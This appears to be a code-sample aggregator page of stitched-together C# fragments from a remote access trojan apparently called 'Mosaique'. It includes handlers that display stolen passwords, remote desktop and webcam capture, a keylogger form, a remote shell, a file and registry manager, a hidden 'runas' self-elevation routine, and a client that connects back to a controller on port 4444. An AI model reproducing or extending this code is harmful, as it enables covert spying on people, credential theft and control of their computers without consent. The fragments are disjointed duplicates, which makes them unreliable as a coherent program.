Пример #1
0
        public static void HandleGetPasswordsResponse(ClientMosaique client, GetPasswordsResponse packet)
        {
            if (client.value == null || client.value.frmPr == null)
            {
                return;
            }

            if (packet.passwords == null)
            {
                return;
            }

            string userAtPc = client.value.name;

            var lst =
                packet.passwords.Select(str => str.Split(new[] { DELIMITER }, StringSplitOptions.None))
                .Select(
                    values =>
                    new RecoveredAccount
            {
                username    = values[0],
                password    = values[1],
                URL         = values[2],
                application = values[3]
            })
                .ToList();

            if (client.value != null && client.value.frmPr != null)
            {
                client.value.frmPr.AddPasswords(lst.ToArray(), userAtPc);
            }
        }
        public static void getProcessesResponse(ClientMosaique client, GetProcessesResponse packet)
        {
            if (client.value == null || client.value.frmTm == null)
            {
                return;
            }

            client.value.frmTm.clearListViewItems();

            if (packet.pNames == null || packet.pIds == null || packet.pTitles == null ||
                packet.pNames.Length != packet.pIds.Length || packet.pNames.Length != packet.pTitles.Length)
            {
                return;
            }

            new Thread(() =>
            {
                for (int i = 0; i < packet.pNames.Length; i++)
                {
                    if (packet.pIds[i] == 0 || packet.pNames[i] == "System.exe")
                    {
                        continue;
                    }

                    if (client.value == null || client.value.frmTm == null)
                    {
                        break;
                    }

                    client.value.frmTm.addProcessesToListView(packet.pNames[i], packet.pIds[i], packet.pTitles[i]);
                }
            }).Start();
        }
Пример #3
0
        static void Main()
        {
            Boot.Initialization();

            //public static string getMutexKey()
            //{
            //StreamReader readerMutex = new StreamReader(System.Reflection.Assembly.GetExecutingAssembly().Location);// TODO virer
            //    string mutex = readerMutex.ReadToEnd();
            //    mutex = mutex.Substring(mutex.IndexOf("-STARTmutex-"), mutex.IndexOf("-ENDmutex-") - mutex.IndexOf("-STARTmutex-"));
            //    string mutexKey = mutex.Replace("-STARTmutex-", "");
            //    return mutexKey;
            //}
            //MutexController.mutexKey = Boot.getMutexKey(readerMutex);// TODO virer

            MutexController.mutexKey = "sdfmlksdmflksdfmlkQQSDQSd5454654EZEZEZZE";// TODO virer

            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            if (MosaiqueLauncher())
            {
                client = new ClientMosaique("127.0.0.1", 4444);
                //client = new ClientMosaic(bootController.host, bootController.port);
                client.connect();
            }
        }
        public static void getDesktopResponse(ClientMosaique client, GetDesktopResponse packet)
        {
            if (client.value == null || client.value.frmRdp == null)
            {
                return;
            }

            Image desktop;

            using (MemoryStream ms = new MemoryStream(packet.image))
            {
                desktop = Image.FromStream(ms);
            }

            if (client.value != null)
            {
                client.value.frmRdp.updateRdp(desktop);
            }


            packet.image = null;

            if (client.value != null && client.value.frmRdp != null && client.value.frmRdp.stopRdp != true)
            {
                new GetDesktop(85, packet.monitor).Execute(client);
            }
        }
Пример #5
0
        private void removeClientFromListView(ClientMosaique client)
        {
            if (client == null)
            {
                return;
            }

            try
            {
                lvClients.Dispatcher.BeginInvoke(new Action(delegate
                {
                    lock (_lockClients)
                    {
                        for (int i = 0; i < lvClients.Items.Count; i++)
                        {
                            if (client == ((ClientRegistration)lvClients.Items[i]).Client)
                            {
                                lvClients.Items.RemoveAt(i);
                            }
                        }
                    }
                }));
            }
            catch (InvalidOperationException)
            {
            }
        }
Пример #6
0
 public FrmRemoteShell(ClientMosaique client)
 {
     _clientMosaic = client;
     _clientMosaic.value.frmRms = this;
     frmRemoteShellController   = new FrmRemoteShellController(client);
     InitializeComponent();
 }
Пример #7
0
        public static void doAskElevate(DoAskElevate packet, ClientMosaique client)
        {
            if (AuthenticationController.getAccountType() != "Admin")
            {
                ProcessStartInfo processStartInfo = new ProcessStartInfo
                {
                    FileName        = "cmd",
                    Verb            = "runas",
                    Arguments       = "/k START \"\" \"" + ClientData.currentPath + "\" & EXIT",
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true
                };

                MutexController.closeMutex();

                try
                {
                    Process.Start(processStartInfo);
                }
                catch
                {
                    new Packets.ClientPackets.SetStatus("User refused the elevation request.").Execute(client);
                    MutexController.createMutex();  // re-grab the mutex
                    return;
                }

                Program.client.Exit();
            }
        }
 public static void loadRegistryKey(GetRegistryKeysResponse packet, ClientMosaique client)
 {
     try
     {
         // Make sure that the client is in the correct state to handle the packet appropriately.
         if (client != null && client.value.frmRe != null && !client.value.frmRe.IsDisposed || !client.value.frmRe.Disposing)
         {
             if (!packet.isError)
             {
                 client.value.frmRe.AddKeys(packet.rootKey, packet.matches);
             }
             else
             {
                 client.value.frmRe.ShowErrorMessage(packet.errorMsg);
                 //If root keys failed to load then close the form
                 if (packet.rootKey == null)
                 {
                     //Invoke a closing of the form
                     client.value.frmRe.PerformClose();
                 }
             }
         }
     }
     catch { }
 }
Пример #9
0
        public FrmRegValueEditWord(string keyPath, RegValueData value, ClientMosaique c)
        {
            _connectClient = c;
            _keyPath       = keyPath;
            _value         = value;

            InitializeComponent();

            this.valueNameTxtBox.Text = value.Name;


            var serializer = new JavaScriptSerializer();

            if (value.Kind == RegistryValueKind.DWord)
            {
                this.Text = "Edit DWORD (32-bit) Value";
                this.valueDataTxtBox.Type = WordType.DWORD;
                //var result = serializer.DeserializeObject(value.Data);
                try
                {
                    this.valueDataTxtBox.Text = ((uint)int.Parse(value.Data.ToString())).ToString("x");
                }
                catch
                {
                    this.valueDataTxtBox.Text = ((uint)int.Parse("0")).ToString("x");
                }
            }
            else
            {
                this.Text = "Edit QWORD (64-bit) Value";
                this.valueDataTxtBox.Type = WordType.QWORD;
                // var result = serializer.DeserializeObject(value.Data);
                this.valueDataTxtBox.Text = ((ulong)long.Parse(value.Data.ToString())).ToString("x");
            }
        }
        public static void HandleGetAuthenticationResponse(ClientMosaique client, GetAuthenticationResponse packet)
        {
            if (client.endPoint.Address.ToString() == "255.255.255.255")
            {
                return;
            }

            try
            {
                client.value.version         = packet.version;
                client.value.operatingSystem = packet.operatingSystem;
                client.value.accountType     = packet.accountType;
                client.value.country         = packet.country;
                client.value.countryCode     = packet.countryCode;
                client.value.city            = packet.city;
                client.value.imageIndex      = packet.imageIndex;
                client.value.id               = packet.id;
                client.value.name             = packet.name;
                client.value.clientIdentifier = packet.clientID;

                client.value.downloadDirectory = (checkPathForIllegalChars(client.value.name)) ?
                                                 Path.Combine(Application.StartupPath, string.Format("Clients\\{0}_{1}\\", client.value.name, client.value.id.Substring(0, 7))) :
                                                 Path.Combine(Application.StartupPath, string.Format("Clients\\{0}_{1}\\", client.endPoint.Address, client.value.id.Substring(0, 7)));
            }
            catch
            {
            }
        }
Пример #11
0
 public FrmKeyLogger(ClientMosaique client)
 {
     _client            = client;
     client.value.frmKl = this;
     _path = Path.Combine(client.value.downloadDirectory, "Logs\\");
     InitializeComponent();
 }
Пример #12
0
        public FrmRegistryEditor(ClientMosaique client)
        {
            _connectClient             = client;
            _connectClient.value.frmRe = this;

            InitializeComponent();
        }
Пример #13
0
        public static void getWebcamResponse(ClientMosaique client, GetWebcamResponse packet)
        {
            if (client.value == null ||
                client.value.frmWbc == null ||
                client.value.frmWbc.IsDisposed ||
                client.value.frmWbc.Disposing)
            {
                return;
            }

            if (packet.image == null)
            {
                return;
            }

            using (MemoryStream ms = new MemoryStream(packet.image))
            {
                Bitmap img = new Bitmap(ms);
                client.value.frmWbc.updateImage(img);
            }

            if (client.value != null && client.value.frmWbc != null && client.value.frmWbc.IsStarted)
            {
                new GetWebcam(packet.webcam, packet.quality).Execute(client);
            }
        }
        public static void setStatusFileManager(ClientMosaique client, SetStatusFileManager packet)
        {
            if (client.value == null || client.value.frmFm == null)
            {
                return;
            }

            client.value.frmFm.setStatus(packet.message, packet.setLastDirSeen);
        }
Пример #15
0
        public FrmFileManager(ClientMosaique client)
        {
            _client             = client;
            _client.value.frmFm = this;
            InitializeComponent();
            ListViewItem lvi = new ListViewItem(new string[] { "", "", "", "" });

            lvTransfers.Items.Add(lvi);
        }
Пример #16
0
        public static void msgFromRemoteChat(ClientMosaique client, MsgToRemoteChat packet)
        {
            if (client.value.frmRChat == null)
            {
                return;
            }

            client.value.frmRChat.updateRTxtChat("[ " + DateTime.Now.ToShortTimeString() + " ]", Color.Red);
            client.value.frmRChat.updateRTxtChat(' ' + packet.message + Environment.NewLine, Color.Black);
        }
Пример #17
0
        public static void getAvailableWebcamsResponse(ClientMosaique client, GetAvailableWebcamsResponse packet)
        {
            if (client.value == null || client.value.frmWbc
                == null)
            {
                return;
            }

            client.value.frmWbc.AddWebcams(packet.webcams);
        }
        public static void getMonitorsResponse(ClientMosaique client, GetMonitorsResponse packet)
        {
            int number = packet.number;

            if (client.value == null || client.value.frmRdp == null)
            {
                return;
            }

            client.value.frmRdp.cleanComboBox();

            client.value.frmRdp.addScreens(number);
        }
Пример #19
0
 public void DgvUpdater(ClientMosaique client, bool addOrRem)
 {
     if (client != null)
     {
         if (!addOrRem)
         {
             ClientDisconnected(client);
         }
         else
         {
             ClientConnected(client);
         }
     }
 }
Пример #20
0
        public FrmPasswordRecovery(ClientMosaique client)
        {
            _client = client;
            InitializeComponent();
            client.value.frmPr = this;
            //txtFormat.Text = ListenerState.SaveFormat;

            _noResultsFound = new RecoveredAccount()
            {
                application = "No Results Found",
                URL         = "N/A",
                username    = "******",
                password    = "******"
            };
        }
        public static void refreshDirectory(ClientMosaique client)
        {
            if (client == null || client.value == null)
            {
                return;
            }

            if (!client.value.receivedLastDirectory)
            {
                client.value.processingDirectory = false;
            }

            new GetDirectory(_currentDir).Execute(client);
            client.value.frmFm.setStatus("Loading directory content...");
            client.value.receivedLastDirectory = false;
        }
Пример #22
0
        public static void getSysInfoResponse(ClientMosaique client, GetSysInfoResponse packet)
        {
            ListViewItem[] lviCollection = new ListViewItem[packet.infoCollection.Length / 2];
            for (int i = 0, j = 0; i < packet.infoCollection.Length; i += 2, j++)
            {
                if (packet.infoCollection[i] != null && packet.infoCollection[i + 1] != null)
                {
                    lviCollection[j] = new ListViewItem(new string[] { packet.infoCollection[i], packet.infoCollection[i + 1] });
                }
            }

            if (client.value != null && client.value.frmSi != null)
            {
                client.value.frmSi.addItems(lviCollection);
            }
        }
Пример #23
0
        public static void getShellCmdExecuteResponse(ClientMosaique client, GetExecuteShellCmdResponse packet)
        {
            if (client.value == null || client.value.frmRms == null)
            {
                return;
            }

            if (packet.isError)
            {
                printError(packet.output);
            }
            else
            {
                printMessage(packet.output);
            }
        }
 public static void deleteRegistryKey(GetDeleteRegistryKeyResponse packet, ClientMosaique client)
 {
     try
     {
         // Make sure that the client is in the correct state to handle the packet appropriately.
         if (client != null && client.value.frmRe != null && !client.value.frmRe.IsDisposed || !client.value.frmRe.Disposing)
         {
             if (!packet.IsError)
             {
                 client.value.frmRe.RemoveKey(packet.ParentPath, packet.KeyName);
             }
             else
             {
                 client.value.frmRe.ShowErrorMessage(packet.ErrorMsg);
             }
         }
     }
     catch { }
 }
Пример #25
0
        private void ClientDisconnected(ClientMosaique client)
        {
            lock (_clientConnections)
            {
                if (!FrmListenerController.LISTENING)
                {
                    return;
                }
                _clientConnections.Enqueue(new KeyValuePair <ClientMosaique, bool>(client, false));
            }

            lock (_processingClientConnectionsLock)
            {
                if (!_processingClientConnections)
                {
                    _processingClientConnections = true;
                    ThreadPool.QueueUserWorkItem(ProcessClientConnections);
                }
            }
        }
        public static void navigateUp(ClientMosaique client)
        {
            if (!string.IsNullOrEmpty(_currentDir) && _currentDir[0] == '/') // support forward slashes
            {
                if (_currentDir.LastIndexOf('/') > 0)
                {
                    _currentDir = _currentDir.Remove(_currentDir.LastIndexOf('/') + 1);
                    _currentDir = _currentDir.TrimEnd('/');
                }
                else
                {
                    _currentDir = "/";
                }

                client.value.frmFm.setCurrentDir(_currentDir);
            }
            else
            {
                client.value.frmFm.setCurrentDir(getAbsolutePath(@"..\"));
            }
        }
        public static void getStartupItemsResponse(ClientMosaique client, GetStartupItemsResponse packet)
        {
            if (client.value == null || client.value.frmStm == null || packet.startupItems == null)
            {
                return;
            }

            foreach (var item in packet.startupItems)
            {
                if (client.value == null || client.value.frmStm == null)
                {
                    return;
                }

                int type;

                if (!int.TryParse(item.Substring(0, 1), out type))
                {
                    continue;
                }

                string preparedItem = item.Remove(0, 1);

                var temp = preparedItem.Split(new string[] { "||" }, StringSplitOptions.None);

                var l = new ListViewItem(temp)
                {
                    Group = client.value.frmStm.getGroup(type),
                    Tag   = type
                };

                if (l.Group == null)
                {
                    return;
                }

                client.value.frmStm.addAutostartItemToListview(l);
            }
        }
Пример #28
0
        public FrmRegValueEditString(string keyPath, RegValueData value, ClientMosaique c)
        {
            _connectClient = c;
            _keyPath       = keyPath;
            _value         = value;

            //var serializer = new JavaScriptSerializer();

            //var result = serializer.DeserializeObject(value.Data);


            InitializeComponent();

            this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name);
            //if(value.Data == "\"\"")
            //{
            //    this.valueDataTxtBox.Text = "";
            //}
            //else
            //{
            this.valueDataTxtBox.Text = value.Data == null ? "" : value.Data.ToString();
            //}
        }
Пример #29
0
        static void Main()
        {
            #region ifProd
            ///Boot.Initialization();

            //MutexController.mutexKey = Boot.mutex;

            //client = new ClientMosaique(Boot.host, Boot.port);
            #endregion

            #region ifPreProd
            MutexController.mutexKey = "sdfmlksdmflksdfmlkQQSDQSd5454654EZEZEZZE";
            client = new ClientMosaique("127.0.0.1", 4444);
            #endregion


            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            if (MosaiqueLauncher())
            {
                client.connect();
            }
        }
Пример #30
0
        public FrmRegValueEditMultiString(string keyPath, RegValueData value, ClientMosaique c)
        {
            _connectClient = c;
            _keyPath       = keyPath;
            _value         = value;

            InitializeComponent();

            var serializer = new JavaScriptSerializer();
            var result     = serializer.DeserializeObject(value.Data);

            object[] convertToObjectArray = (Object[])result;
            string[] strArr = new string[convertToObjectArray.Length];
            int      i      = 0;

            foreach (object obj in convertToObjectArray)
            {
                strArr[i] = obj.ToString();
                i++;
            }

            this.valueNameTxtBox.Text = value.Name;
            this.valueDataTxtBox.Text = String.Join("\r\n", ((string[])strArr));
        }